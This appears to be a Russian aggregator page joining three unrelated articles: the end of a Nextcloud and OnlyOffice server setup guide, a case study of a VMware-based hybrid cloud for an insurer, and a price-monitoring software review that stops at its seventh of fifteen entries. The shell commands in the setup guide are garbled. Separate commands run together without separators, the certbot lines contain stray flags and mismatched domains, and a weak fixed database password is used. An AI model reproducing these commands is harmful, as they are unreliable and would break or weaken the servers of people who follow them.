Теперь надо создать файл конфигурации Nginx для Nextcloud

sudo nano /etc/nginx/sites-enable/nextcloud.conf

И вставляем в него следующий текст, естественно, заменив nc.myhost.com на свои сервера

server {    listen 80;    server_name nc.myhost.com;    return 301 https://$server_name$request_uri;}server {    listen 443 ssl;    server_name nc.myhost.com;    ssl_certificate /etc/nginx/ssl/cert.pem;    ssl_certificate_key /etc/nginx/ssl/cert.key;    root /var/www/nextcloud;    add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;    client_max_body_size 10G;    fastcgi_buffers 64 4K;    rewrite ^/caldav(.*)$ /remote.php/caldav$1 redirect;    rewrite ^/carddav(.*)$ /remote.php/carddav$1 redirect;    rewrite ^/webdav(.*)$ /remote.php/webdav$1 redirect;    index index.php;    error_page 403 = /core/templates/403.php;    error_page 404 = /core/templates/404.php;    location = /robots.txt {      allow all;      log_not_found off;      access_log off;    }    location ~ ^/(data|config|\.ht|db_structure\.xml|README) {        deny all;    }    location / {        rewrite ^/.well-known/host-meta /public.php?service=host-meta last;        rewrite ^/.well-known/host-meta.json /public.php?service=host-meta-json last;        rewrite ^/.well-known/carddav /remote.php/carddav/ redirect;        rewrite ^/.well-known/caldav /remote.php/caldav/ redirect;        rewrite ^(/core/doc/[^\/]+/)$ $1/index.html;        try_files $uri $uri/ index.php;    }    location ~ ^(.+?\.php)(/.*)?$ {        try_files $1 = 404;        include fastcgi_params;        fastcgi_param SCRIPT_FILENAME $document_root$1;        fastcgi_param PATH_INFO $2;        fastcgi_param HTTPS on;        fastcgi_pass unix:/run/php/php7.4-fpm.sock;    }    location ~* ^.+\.(jpg|jpeg|gif|bmp|ico|png|css|js|swf)$ {        expires modified +30d;        access_log off;    }}

Теперь необходимо получить сертификаты для ssl

Устанавливаем Certbot и его плагин для Nginx:

sudo apt install certbot python3-certbot-nginx

Получаем сертификаты для всего (я получал для всех поддоменов, которые прописал на freenom, в т.ч. для почты, заббикса, и т.п., у вас могут быть и должны быть свои)

Сначала с ключом --dry-run проверяем все ли в порядке

sudo certbot certonly --agree-tos --email you@mail -d nc.myhost.com-d www.myhost.com -d zabbix.myhost.com --nginx --dry-run --d

Если все хорошо, то получаем сертификаты

sudo certbot certonly --agree-tos --email почта@администратора -d myhost.com-d nc.myhost.com-d cloud.myhost.com-d zabbix.myhost.com-d www.myhost.com-d mail.myhost.com sudo certbot certonly --agree-tos --email your@mail -d nc.myhost.com-d www.33rus.com -d zabbix.33rus.com --nginx n 

Сертификаты появятся в папке /etc/letsencrypt/live/myhost.com cert.pem chain.pem fullchain.pem privkey.pem

Подключаем сертификаты к сайту

sudo nano /etc/nginx/sites-available/nextcloud.conf

ssl_certificate /etc/letsencrypt/live/myhost.com/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/myhost.com/privkey.pem;

Устанавливаем Nextcloud:

Скачиваем последнюю версию с сайте Nextcloud:

cd /tmp/sudo wget https://download.nextcloud.com/server/releases/nextcloud-21.0.0.zipsudo unzip nextcloud-21.0.0.zipsudo cp -R nextcloud /var/www/nextcloud/cd /var/www/sudo chown -R www-data:www-data nextcloud/sudo chown -R www-data:www-data /nfs/nc

Обратите внимание, в данном случае я использую папку на nfs, вам необходимо использовать папку в соответствии с вашими настройками

Почти все. Заходим на https://nc.myhost.com
Создаем пользователя, пароль, прописываем доступ к каталогу /nfs/nc/
Прописываем созданную ранее базу данных и пароль к ней.

Теперь тонкая настройка Nextcloud и установка Onlyoffice

Ставим Redis и APCu

sudo apt install memcached php-memcached -ysudo apt install php-apcu redis-server php-redis -ysudo nano /var/www/nextcloud/config/config.php

И добавляем следующие строки перед закрывающей скобкой )

'memcache.local' => '\OC\Memcache\APCu',
'memcache.distributed' => '\OC\Memcache\Redis',
'redis' =>
array (
'host' => '127.0.0.1',
'port' => 6379,
),
'memcache.locking' => '\OC\Memcache\Redis',

Переиндексация файлов (если вдруг вы скопировали файлы в папку nexcloud не через интерфейсы nextcloud, то их надо переиндексировать)

sudo -u www-data php /var/www/nextcloud/occ files:scan --all

Устанавливаем OnlyOffice DocumentServer

Первым делом устанавливаем версию PostgreSQL, включенную в вашу версию Ubuntu:

sudo apt install postgresql -y

После установки PostgreSQL создайте базу данных и пользователя PostgreSQL:

Пользователем и паролем для созданной базы данных должны быть onlyoffice.

sudo -i -u postgres psql -c "CREATE DATABASE onlyoffice;"sudo -i -u postgres psql -c "CREATE USER onlyoffice WITH password 'onlyoffice';"sudo -i -u postgres psql -c "GRANT ALL privileges ON DATABASE onlyoffice TO onlyoffice;"

Установка rabbitmq и nginx-extras:

sudo apt install rabbitmq-server -ysudo apt install nginx-extras -y

Установка ONLYOFFICE Docs

Добавьте GPG-ключ:

sudo apt-key adv --keyserver hkp://keyserver.ubuntu.com:80 --recv-keys CB2DE8E5

Добавьте репозиторий ONLYOFFICE Docs:

sudo echo "deb https://download.onlyoffice.com/repo/debian squeeze main" | sudo tee /etc/apt/sources.list.d/onlyoffice.list sudo apt update

Устанавливаем mariadb-client!

sudo apt install mariadb-client -y

Устанавливаем ONLYOFFICE Docs. Не ошибитесь с вводом пароля. Это должен быть onlyoffice

sudo apt install onlyoffice-documentserver -y

Переводим onlyoffice на https

sudo cp -f /etc/onlyoffice/documentserver/nginx/ds-ssl.conf.tmpl /etc/onlyoffice/documentserver/nginx/ds.confsudo nano /etc/onlyoffice/documentserver/nginx/ds.conf 

Меняем порт ssl не забыв пробросить его в роутере

listen 0.0.0.0:7443 ssl;
listen [::]:7443 ssl default_server;

Перезапускаем nginx

sudo service nginx restart

Настраиваем cron

sudo crontab -u www-data -e

# Добавляем строчку

*/5 * * * * php -f /var/www/nextcloud/cron.php

Ну, вот и все, останется через веб-интерфейс установить плагин ONLYOFFICE в вашем Nextcloud и прописать сервер https://myhost.com:7443

Подробнее..

Как мы построили гибридное облако и сняли с ручника разработку

25.05.2021 10:11:06 | Автор: admin

Любому бизнесу, особенно крупному, хочется максимально оптимизировать внутренние процессы. В частности, те, которые касаются ИТ. Довольно часто мы встречаем ситуации, когда сугубо цифровые задачи в силу устаревших регламентов или страха сломать работающую систему решаются по старинке, вручную.

Ингосстрах обратилась к нам со следующей задачей: из-за огромного количества ручных операций параметр time-to-market их цифровых продуктов в некоторых случаях был достаточно высоким. Это не устраивало никого: ни разработчиков, ни тестировщиков, ни бизнес. Требовалось как можно сильнее сократить time-to-market, не стесняясь в ресурсах и средствах.

Слабым звеном оказался процесс подготовки инфраструктуры для разработки и тестирования. Cоздание парочки виртуальных машин и нескольких сервисов могло затянуться на долгие недели. При этом компания уже несколько лет внедряет практики DevOps, то есть гибкость, непрерывность доставки приложений для неё чрезвычайно важны.

Кроме того, заказчику было важно сохранить возможность использования и собственных (локальных) ресурсов, и Microsoft Azure. А вишенка на торте (о которой мы еще поговорим далее) создать функционал для оценки стоимости всех используемых ресурсов. Это было необходимо, чтобы группы разработки могли планировать внутренние бюджеты на ИТ и действовать более эффективно.

Подготовка к проекту

Первым делом мы изучили потребности заказчика. Необходимо было понять, какие ресурсы (приложения, ОС и пр.) используются компанией, как они настраиваются и для чего служат. Чаще всего мы встречаемся с полуручными-полуавтоматическими сценариями: ВМ разворачиваются из шаблона и настраиваются вручную. В ряде случаев заказчики используют скрипты автоматизации настройки, чтобы получить на выходе полностью функциональную ОС, иногда даже с готовым набором ПО. В Ингосстрахе было и то, и другое.

Выбор решения: open source против корпораций

После обследования, еще до подготовки окончательного ТЗ, мы составили для заказчика проектное решение. Требовалось согласовать его со службой безопасности а это процесс не из легких. Много времени ушло на то, чтобы убедить суровых безопасников в том, что облако не угрожает существующей инфраструктуре. Мы нарисовали схемы обмена трафиком, сетевого взаимодействия. Описали, как всё это будет защищаться и контролироваться. Скажем прямо, пришлось попотеть. Изначально мы предложили заказчику два возможных подхода:

  • open source или OpenStack с последующей доработкой;

  • сугубо коммерческое решение от VMware.

Первое предложение отсеклось сразу же. OpenStack это как набор для моделирования: гибко, интересно, но требует определенной сноровки. Иначе заляпаешь стол краской и склеишь пальцы, а модель будет больше похожа не на вертолет Apache, а на пластмассовый комочек.

Иными словами, проект на OpenStack сопряжен с большими усилиями, не лишен риска, а по итогу вынудил бы заказчика выращивать собственных специалистов или прибегать к услугам партнеров в части поддержки/администрирования проекта.

Популярное вендорское решение можно сравнить с фирменным Lego: есть продукт, есть качественная поддержка производителя. Компоненты совместимы между собой и конечная функциональность не вызывает вопросов.

Как строился гибрид

На первом этапе инфраструктура не очень большая, но это компенсируется количеством работающих на ней сервисов. Здесь мы развернули все необходимое для облака, в том числе ряд продуктов vRealize: Automation, Operations Manager, Log Insight и NSX-T для сети.

Позже сюда добавился NSX Cloud: он позволяет удобно управлять сетями в публичных облаках, в том числе и в Azure, через NSX. Мы подключили подписку заказчика Azure к vRealize Automation и vRealize Operations Manager последнее нужно, чтобы отслеживать потребление ресурсов.

Общая архитектура гибридного облака

Чтобы обеспечить повышенный уровень сетевой и информационной безопасности, мы использовали CheckPoint. Файрвол заказчика интегрирован с облаком сразу в трех точках. Трафик инспектируется:

  • между виртуальными машинами;

  • на выходе из облака;

  • на входе в сеть заказчика.

На стороне облака развернуты виртуальные аплайнсы для инспекции трафика.

Что касается связанности сегментов облака и локальных машин здесь существует два глобальных варианта. Первый оверлейные сети через NSX. Этим путем мы пойти не смогли, так как между площадкой заказчика и Azure стоит VPN от CheckPoint.

Второй вариант подразумевает, что трафик между облаком и локальной площадкой будет идти через упомянутый выше VPN. При этом трафик внутри локальной площадки и внутри облака (по умолчанию) ходит через оверлейные сети. Если локальной виртуальной машине нужно отправить трафик в облако, он посылается по VPN и снова оказывается в оверлей-сети, но уже на стороне Azure.

Если говорить о компонентах vRealize, у заказчика задействовано всё. Каждый компонент выполняет собственную функцию.

  • Automation оркестрация и автоматизация, плюс портал самообслуживания;

  • Operations Manager помимо мониторинга сервисов и использования ресурсов, он осуществляет постбиллинг, определяет стоимость потребленных ресурсов в рамках проекта или конкретного сервиса.

  • Log Insight собирает логи/журналы со всех компонентов инфраструктуры и передает логи аудита и аутентификации пользователей всем системам заказчика. Вход-выход, изменения конфигурационных параметров эти данные агрегируются в Log Insight, обрабатываются, очищаются и передаются в SIEM службы безопасности.

В облаке присутствует не только vRealize, но и Ansible для реализации подхода инфраструктура как код. Ansible для первичной настройки ОС, добавления нужных пользователей, установки ПО и настройки всех сервисов. Помимо повышения гибкости и колоссальных возможностей по глубокой настройке ОС и приложений, а также интеграции с другими подсистемами заказчика, Ansible позволяет разделить процессы создания и настройки ВМ. Что позволяет использовать наработки (плейбуки) для разных задач, в том числе, на прямую не связанных с облаком. Или разделить между специалистами или даже отделами задачи по сопровождению облака и автоматизации управления инфраструктурой, как это происходит в Ингосстрах.

Сервисы

Сервисы это очень немалый пласт нашей работы. В разработке участвовали преимущественно наши специалисты, но в некоторых ситуациях подключались и сотрудники VMware. Заказчик приобретал часы их работы, чтобы мы могли совместно писать и отлаживать сервисы.

Каталог сервисов облака

Надо сказать, кое-что стало для нас серьезным челленджем: во время написания ТЗ актуальной была версия vRealize Automation 7.6. К моменту, когда пришло время приступать к работе, появилась новая версия 8.

Минутка истории: вплоть до седьмой версии vRealize Automation развивался так же, как и любой другой продукт. Одни функции добавлялись, другие переходили в статус deprecated и заменялись более совершенными. Фактически, это решение VMware еще в 2012 году приобрела у компании DynamicOps и развивала его под своим брендом. 8-я версия vRA это не логическое продолжение старой версии, а принципиально новый внутри продукт. Да, он стал функциональнее и гибче, но часть функций, присутствовавших в 7.6, попросту исчезла.

Заказчик хотел внедрять именно новую версию. Это вполне логично: использовать продукт, который скоро станет end of life не очень хорошая затея. Но это вызвало массу проблем. Нам пришлось принять на себя некоторые риски, дорабатывать и дописывать недостающие модули своими силами.

Биллинг

Первый серьезный модуль, с которым была проблема, это биллинг. Перед нами стояла задача получить прозрачные системы пред- и постбиллинга.

Когда пользователь заказывает услугу из каталога из каталога самообслуживания, есть возможность увидеть её примерную стоимость в день, месяц и т.д. Проблема в том, что эти функции работают только для локальной площадки. Текущая версия vRA не дает этого функционала в публичном облаке. Обещается, что в одном из будущих обновлений этот функционал добавят, но пока что его даже в road map нет.

Заказчику было важно, чтобы пользователь при заказе мог оценить бюджет. Как раз здесь нам очень пригодился опыт команды VMware: вместе с ними мы разработали модуль, который осуществляет предбиллинг и постбиллинг.

Предбиллинг позволяет в момент заказа сервиса рассчитать стоимость ресурсов (это может быть ВМ, MS SQL Server и т.п.) как на локальной площадке, так и в облаке. Изначально vRA не позволял делать расчеты для Azure. Конечно, можно было бы докупить SaaS-продукт CloudHealth, который позволяет считать постбиллинг для Azure. Однако он все равно не обеспечивает функционал предбиллинга, да и по бюджету уже не проходил. Пришлось дописывать.

По просьбе заказчика мы реализовали сразу три варианта расчета в одной и той же форме отображается стоимость в день, месяц и год. Постбиллинг для Azure также был невозможен.

Мы сделали так, чтобы можно было рассчитывать не только базовые вещи а-ля IaaS, но и произвольные.

Биллинг работает по двум классическим схемам: Pay-as-You-Go и prepaid.

Еще важный момент с точки зрения инженерной эстетики, о котором хотелось бы сказать, все должно быть единообразно. Поэтому совместно с VMware мы написали единый дашборд и единый механизм пред- и постбиллинга при заказе ресурсов.

Лирическое отступление: с точки зрения читателя вся эта история может выглядеть как пришли, сделали, протестировали, ушли. На самом деле, всё куда интереснее. Облако живет и развивается итеративно. Сначала реализуется самый важный функционал в случае с Ингосстрах это эффективное развертывание виртуальных машин. Затем прочие нужные и полезные вещи. Аппетит приходит во время еды это как раз про облако. Поэтому классические для сейлзов формулы заложим на разработку сто дней, авось, уложимся это уже дурной тон.

Следующие на очереди стандартные для облаков сервисы.

IaaS

Здесь речь идет о развертывании ВМ с определенными ОС и набором базовых настроек. В наборе заказчика присутствуют и различные версии Windows Server, и Linux (CentOS и RedHat).

Используемые версии Windows Server 2019, 2016 и 2012 R2. Часть систем заказчика до сих пор работают в 2012 R2. Это вызвало некоторые накладки: в Azure готовых образов этой ОС нет, т.к. Microsoft больше ее не поддерживает. Пришлось загружать свой образ. Так как речь идет о гибридной модели, сервисы предоставляются зеркально: можно создавать их как внутри локальной площадки, так и в Azure. При заказе пользователь сам определяет площадку размещения.

Дополнительно была реализована автоматическая регистрация в DNS. Соответственно, сразу после создания виртуальная машина становится доступна по DNS-имени.

Что касается развертывания машин здесь возможны два подхода:

  • пользователь сам определяет параметры ВМ CPU, RAM, дисковое пространство;

  • предварительно заданные конфигурации, между которыми может выбирать пользователь.

После обсуждения с заказчиком мы пришли к выводу, что использование заготовленных конфигураций удобнее. Во-первых, можно четче спланировать инфраструктуру. Мы четко знаем, что можно создать 10 машин типа А или, например 5 машин типа Б. Если давать пользователю полную свободу выбора, никакой стандартизации не выйдет. В конфигурации Ингосстраха изменить можно только объем дискового пространства: есть нижняя граница, есть верхняя, есть размер по умолчанию. Единственный нюанс в Azure минимальный объем диска составляет 127 Гб. Соответственно, и на vSphere нам пришлось в целях унификации сделать такой же нижний порог.

Кроме того, по выбору пользователя ОС может быть просто создана, либо сразу же введена в домен корпоративный или произвольный. Это тоже момент автоматизации: не приходится дергать администраторов.

Форма заказа сервиса IaaS

У заказчика в облаке есть три контура безопасности, каждый со своим уровнем защиты: test, dev и prod. Соответственно, тот или иной сервис размещается в своем контуре по выбору заказчика, независимо от того, локальная ли это площадка или Azure.

PaaS

Переходим к PaaS, здесь тоже немало интересных моментов. В основе PaaS лежит IaaS, используются заранее подготовленные ОС. Все Windows-сервисы (SQL, Active Directory, IIS) могут быть развернуты в любой версии этой ОС, которая требуется пользователю. Кроме, разве что, Exchange.

Основная заточка сделана под версию 2012: более свежие версии включают новый функционал, но из соображений обратной совместимости ничего из legacy не удаляется. А если бы мы ориентировались на 2019, не исключено, что пришлось бы писать разные скрипты под разные типы ОС.

Веб-сервер как услуга

Заказчик использует IIS от Microsoft. Он представлен в нескольких вариантах, в том числе есть версия с балансировкой, которая автоматически настраивается на NSX.

Чтобы сильно не углубляться, выделим следующие конфигурации, доступные пользователям:

  • одноузловая конфигурация сервис с IIS.

  • ферма множество веб-серверов IIS.

Пользователь может создать сразу множество серверов IIS и обеспечить балансировку подключений на базе NSX. Можно использовать стандартные порты, можно переопределить их вручную. Всё взаимодействие происходит в веб-интерфейсе.

Active Directory

AD разворачивается как отдельный сервис. Например, пользователь хочет поэкспериментировать. Продуктивный домен для этого использовать запрещено. Зато можно создать собственный домен и хулиганить, как хочешь. Прод не пострадает.

Сервис можно развернуть в двух вариантах:

  • standalone одноузловая конфигурация, когда контроллер домена и DNS совмещены;

  • отказоустойчивая конфигурация два контроллера домена, между которыми в рамках развертывания настроена репликация (и самого домена, и DNS-зон).

СУБД как сервис

  • MS SQL Server можно развернуть по двум типам: standalone и кластерная конфигурация always on, от 2 до 4 узлов. Присутствует возможность выбора версий. Под разные версии СУБД написаны разные скрипты установки.

Exchange как сервис

У заказчика была развернута продуктивная среда Exchange. Для тестовых целей требовалось создать еще одну игрушечную инсталляцию в облаке, конфигурационно идентичную оригинальной, но с меньшим объемом ресурсов.

Казалось бы, зачем нужна вторая почтовая система в рамках облака? У заказчика была конкретная цель тестировать актуальную конфигурацию на предмет установки обновлений, масштабирования и прочих изменений. Мы сделали фактически полную (с точки зрения конфигурации) копию боевой почтовой системы. Важный момент продуктив работал на базе сразу 2-х ЦОДов. Мы сымитировали и это.

Часть дизайна сервиса Exchange

Автоматизация предоставления сервисов

Кроме того, в инфраструктуре присутствует несколько дополнительных сервисов, которые дублируют административный функционал vRealize Automation, но уже для конечных пользователей.

К примеру, чтобы определить область, где пользователь может развертывать ВМ, администратор должен создать проект, назначить ресурсы и выдать пользователю доступы. Заказчику хотелось разгрузить руки администраторов и позволить пользователям через портал самообслуживания самостоятельно создавать проекты. Чтобы не выдавать права администратора направо и налево, необходим был сервис, который перед созданием проекта запрашивал бы аппрув. Пользователи ограничены квотами на количество ВМ, vCPU, RAM и дисковое пространство.

Всего для этой цели используется 4 связанных сервиса:

  • создание проектной области;

  • изменение можно добавлять облачные ресурсы к локальным или увеличивать их пул;

  • удаление если проект больше не нужен, его можно удалить в целях экономии средств;

  • архивация временная деактивация проекта и перенос его на самые бюджетные ресурсы.

Всем, кто задумывается о собственном облаке

В заключение хотелось бы поделиться некоторыми мыслями по итогам проекта:

  • Внедрение частного или гибридного облака это итеративный процесс, в ходе которого всегда возникают мысли, что что-то можно сделать лучше/удобнее.

  • Коммерческий продукт (в нашем случае VMware) это отличная возможность для коммерческих заказчиков быстро увидеть первые результаты от внедрения облака без взращивания собственной экспертизы в течение многих лет.

  • Облако позволяет существенно оптимизировать ИТ-процессы в компании за счет их понимания, переосмысления, описания и только потом уже автоматизации.

  • С облаком можно вести прозрачный учет потребления ресурсов и затрат на них, а также упростить планирование и масштабирование инфраструктуры.

  • Автоматизация, инструменты самообслуживания, возможности интеграции через API позволяют существенно оптимизировать процессы предоставления ресурсов ИТ-инфраструктуры и, как следствие, сократить time-to-market ИТ-продуктов компании как для внутреннего, так и для внешнего потребления.

На этом все! Если у вас есть какие-то вопросы, буду рад пообщаться в комментариях.

Подробнее..

Программы для сравнения и анализа цен конкурентов 15 лучших

13.06.2021 00:06:46 | Автор: admin

Программы для сравнения и анализа цен конкурентов необходимы собственникам бизнеса, категорийным менеджерам, производителям, маркетологам и всем, кто связан с продажами товаров и их закупками. Ведь если вы не являетесь эксклюзивным продавцом, и такие же товары продаются в десятках других магазинов, вы просто обязаны отслеживать их цены, чтобы не терять свои продажи. И в такой же ситуации находится 98% всех участников рынка.

Когда в магазине до 500 позиций, выполнять переоценку можно вручную и скорее всего, это под силу одному человеку (при условии, если у него нет других обязанностей). Выгодно ли это? Нет. Программа для сравнения цен конкурентов будет дешевле и эффективнее даже в этом случае. Но если товаров более полу тысячи, здесь вообще без вариантов анализ цен конкурентов должна выполнять программа.

Часть из ниже представленных 15-ти программ для мониторинга цен конкурентов в интернете я использовал только в тестовом периоде (где была такая возможность), часть сразу откинул на этапе отбора (но возможно, у вас другие требования, поэтому их я тоже включаю в список), а часть активно использовал в длительном периоде (от 1 месяца до 1 года) и хорошо знаю сильные и слабые стороны.

Считаю, что мой опыт бесценен для каждого, кто выбирает программу для мониторинга цен конкурентов сейчас или планирует это делать в будущем. Читайте до конца и обязательно сохраняйте, чтобы точно не потерять.

1. uXprice

Это специализированный софт (SaaS) для мониторинга цен конкурентов с личным кабинетом, гибкими настройками парсинга и доступными тарифами. Использование платформы экономит ресурсы компании и предоставляет аналитику для определения как общего вектора развития продаж, так и конкретных действий по переоценке товаров в краткосрочном периоде.

Одной из фишек сервиса есть разделение способов мониторинга на автоматический поиск конкурентов на рынке (до 100 конкурентов на каждый товар) и отслеживание конкурентов по ссылкам. Можно использовать оба способа вместе для получения максимального количества данных. Для структурирования последних есть несколько разных видов отчетов, графики и дашборды.

Для интернет-магазинов станет находкой сравнительный анализ цен с такими показателями, как количество продавцов, ценовая позиция, минимальная и средняя рыночная цена, медианная цена, а также рекомендации по оптимизации цен. К слову, их можно настраивать по собственным правилам или использовать готовые шаблоны стратегий.

Сервис работает в облаке, поэтому для работы необходим доступ к интернету. Как собственно, и для парсинга любой программой. Только здесь нет никаких требований к мощности устройств, необходимости покупки серверов, прокси и т.д. Кроме графика мониторинга настроек не требует, достаточно регистрации. Есть бесплатный тестовый период 7 дней.

Недостатки

В сервисе нет аналитики по категориям, что не дает работать с товарами массово. И много бесполезных дашбордов и графиков.

2. Scrapy

Это один из лучших (если не лучший) фреймворк для создания собственного парсера данных. Для установки требуется Python 3.6+, CPython или PyPy 7.2.0+.

В Scrapy есть полный функционал, чтобы написать паука с такими возможностями:

  • извлекать необходимую информацию из HTML и XML документов с использованием регулярных выражений;

  • сохранять очищенные данные в нескольких форматах (JSON, CSV, XML) и их хранение в нескольких бэкэндах (FTP, S3, локальная файловая система);

  • осуществлять переходы по ссылкам;

  • выполнять POST запросы, поддерживать куки и сессии, аутентификации;

  • подменять пользовательских агентов (user-agent) и др.

Одним из наибольших преимуществ Scrapy является асинхронное планирование и обработка запросов. Это позволяет программному обеспечению выполнять парсинг быстро, ведь чтобы отправить новый запрос не нужно ждать обработки предыдущего. То есть тем временем выполняются другие запросы, даже если при обработке возникают ошибки. Кстати, здесь есть возможность настраивать временные промежутки между запросами.

Изначально Scrapy был разработан для парсинга сайтов, но сейчас с его помощью также можно получать данные через API (в том числе из таких крупных площадок, как Amazon).

Недостатки. Для работы со Scrapy нужно или быть разработчиком, или брать его на подряд. В написании парсера есть много подводных камней, которые будут требовать постоянной поддержки функционала тем же разработчиком и сисадмином в дальнейшем. Также понадобится разработка функционала для аналитики.

3. Octoparse

Это инструмент для парсинга данных с удобным интерфейсом для не программистов: взаимодействие по кликам, перетягиваниям, без кода. Здесь можно копировать и редактировать существующие задачи, извлекать загруженные с помощью AJAX данные не разбираясь в этом вопросе.

Для работы можно использовать локальное извлечение данных или облачное (в этом случае скорость увеличится в 4-10 раз за счет использования серверов системы). Кроме того, есть функция Smart Mode, которая сведет настройки к минимуму.

Преимущества:

  • простота использования

  • возможность парсинга контента почти с любых сайтов

  • настройка графика извлечения данных

  • загрузка и структурирование собранных данных в формате Excel или CSV

  • смена IP-адресов как защита от возможной блокировки.

Чтобы обеспечить стабильность своей работы, Octoparse имитирует поведение пользователей на сайте, повторяя популярные человеческие модели взаимодействия с его интерфейсом. Но сейчас уже этого недостаточно, поэтому и прибегают к возможности смены IP-адресов.

Недостатки. Для простого парсинга цен с использованием Octoparse навыки программирования не понадобятся. Но понадобятся для автоматизации их обработки, если конечно, не делать это вручную. Что очень важно, когда речь идет не про парсинг контента с сайта, а про парсинг цен.

4. E-Trade Jumper

Программа для сравнения цен конкурентов E-Trade Jumper является одним из решений украинской компании Elbuzgroup позволяет ежедневно отслеживать цены на нужных сайтах и получать мгновенные уведомления при их изменении. Среди аналогов эту программу выделяет наличие дополнительного функционала:

  • анализ закупочных прайсов;

  • правила переоценки.

Также эта программа для анализа цен конкурентов позволяет видеть товары с ранее выбранных сайтов и их наличие в одном окне, что довольно удобно.

Этапы мониторинга цен с E-Trade Jumper

1. Загрузить свои товары в программу

2. Добавить 1-го конкурента и настроить парсинг его сайта

3. Проверить достоверность полученных данных

4. Повторить пункты 2-3 для каждого следующего конкурента

5. Проанализировать собранные программой данные

6. Настроить правила переоценки так, чтобы не продавать в минус

7. Установить модуль программы на свой сайт (если он подойдет к вашей cms)

8. Поменять свои цены

Недостатки

Главным неудобством на начальной фазе является сложная настройка парсинга нужных сайтов и необходимость постоянных консультаций (практически в режиме онлайн, что редко возможно) на каждом из вышеперечисленных этапов. В дальнейшем сбои в работе и ошибки в собранных данных. Вероятно, эти проблемы являются следствием многозадачности Elbuzgroup, что не позволяет сосредоточиться на доработке E-Trade Jumper.

Но если вы разбираетесь в программировании, имеете опыт работы с базами данных, покупкой прокси и много свободного времени, программа для сравнения цен конкурентов E-Trade Jumper может быть интересной.

5. Excelvba

Это программа для сравнения цен конкурентов, интерфейсом которой есть макрос надстройка Excel для обработки информации в документе. А поскольку в Excel большинство офисных сотрудников чувствуют себя как рыба в воде, то с изучением функционала больших проблем точно не возникнет. А вот сама настройка парсинга сайтов при большом количестве товаров и конкурентов может растянутся во времени на месяцы.

Плюс варианта в том, что программа для сравнения цен оплачивается на старте и при настройке, а ежемесячных платежей нет. Но это при стабильной работе программы, что мало вероятно. Как и в предыдущем варианте, оплата взимается за лицензию, за добавление или перенастройку сайтов конкурентов, а также за каждого нового пользователя (за дополнительное рабочее место). Если есть необходимость в выгрузке отчетов в другом виде и сборе исторических данных, все это будет оплачивается отдельно. Оплата от юридического лица невозможна, что тоже подойдет не всем ритейлерам.

Программа для анализа цен конкурентов настраивается программистами Excelvba. Но от вас тоже понадобится выполнить ряд действий на старте, а также рутинную текущую работу в процессе использования. Итак, чтобы выполнить первоначальную настройку парсера, нужно в таблицу Excel внести наименования всех своих товаров, их фото, стоимость на сайте и в закупке. А также сайты конкурентов и ссылки на все товары, цены на которые нужно собрать.

При большом количестве конкурентов и категорий работа может вестись в разных файлах или на отдельных листах. Это возможно, поскольку программа для мониторинга цен Excelvba не привязывается к конкретным таблицам. Также вместо вашей цены на сайте в этом столбце может быть формула переоценки, по которой новая цена будет вычисляться на основе цен конкурентов.

Недостатки

Чтобы представить масштаб ручной работы на этом этапе, возьмем магазин на 5 000 товаров. Для эффективной оптимизации цен целесообразно отслеживать минимум 3 конкурента на каждый товар. По несложным подсчетам и при минимальном количестве отслеживаемых конкурентов это уже 15 000 ссылок (5 000*3 = 15 000), которые нужно вводить вручную. При этом ссылки на сайтах конкурентов могут меняться, что тоже нужно будет регулярно исправлять.

Кроме того, 100% пересечение ассортимента с магазином конкурента вряд ли возможно. А значит, чтобы добиться отслеживания хотя бы 3-ех конкурентов на товар, придется подключить и настроить 10+ сайтов конкурентов.

6. Datacol

Эта программа для сравнения цен конкурентов одна из старейших в русскоязычном интернете работает с 2007 года. До сих пор продолжает свое существование она не потому, что выдерживает конкуренцию с современными сервисами мониторинга цен. А потому, что является собранием из разно функциональных парсеров: сайтов магазинов, досок объявлений по типу Avito, Google, Яндекс, соцсетей, контента, ключей для SEO и др.

Годовая лицензия на каждый из таких парсеров стоит до 2000 рублей без доработок и при условии, что сайт конкурента есть в списке доступных. Добавление же нового конкурента или внесение изменений в стандартный функционал это еще от 2000 рублей. Для заказа такой доработки нужно составить подробное ТЗ (любые изменения мимо него оплачиваются дополнительно) и внести предоплату. Если стоимость доработки менее 3000 рублей, то предоплата составляет 100%.

Если вы всерьез решили использовать такой парсер для оптимизации своих цен, то следует знать, что это не программа для анализа цен конкурентов. Фактически вам понадобится самостоятельно продумать весь функционал, ответив на такие вопросы:

  • какую именно информацию следует извлекать из сайтов?

  • в каком виде и объеме она должна собираться?

  • как часто нужно парсить сайты?

  • должны ли собранные данные храниться (в каком виде, объеме, как долго)?

  • в каком виде информация должна выводиться, чтобы ее было удобно использовать?

И это только основной перечень, поверьте, на этапе настройки подобные вопросы будут возникать ежедневно. И разумеется, принятые решения должны быть правильными, ведь любые изменения это время и деньги. Все текущие проблемы также лягут вам на плечи. Например, на сайте может быть нужна авторизация для парсинга, или на сайте конкурента может поменяться механизм выдачи данных или верстка.

Разработчики признают, что базовая программа мониторинга цен не удовлетворяет потребности большей части клиентов. В качестве выхода рекомендуется использование разного рода плагинов, устанавливать которые нужно уметь самостоятельно.

Недостатки

Хочется, чтобы программа для сравнения цен была простой, удобной и закрывала все потребности. Здесь этого всего нет. Даже потратив много времени и денег результат может быть далеким от ожидаемого. Мониторинг цен конкурентов программа производит не автоматически. Как и в Excelvba все сопоставления нужно делать через ручное добавление ссылок. Но никаких продуманных возможностей быстрой переоценки товаров по настраиваемой формуле нет.

7. Pricetraxer

Программа для мониторинга цен конкурентов, поставщиков и контроля рекомендованной розничной цены без ограничений по количеству товаров. Ее использование предполагает парсинг информации о товарах, их наличии и ценах, а также хранение некоторых исторических данных предыдущих мониторингов. Для начала работы в Pricetraxer необходимо выполнить следующие шаги:

  • зарегистрироваться и скачать программу;

  • установить программное обеспечение на свой ПК;

  • проверить работу на тестовом примере;

  • добавить ссылки на товары конкурентов, которые вы хотите отслеживать;

  • запустить мониторинг.

На каждом из этих шагов будьте готовы к сюрпризам: сначала, скачивание программы может заблокировать провайдер, потом антивирус заблокирует ее запуск и так дальше. И такие моменты стандарт для парсеров.

Программа для сравнения цен в интернет магазинах Pricetraxer содержит перечень доступных для парсинга сайтов, которых сейчас чуть более двухсот. Если необходимого конкурента в списке нет, нужно обратиться в поддержку для их добавления (оплачивается дополнительно, как и любые другие доработки).

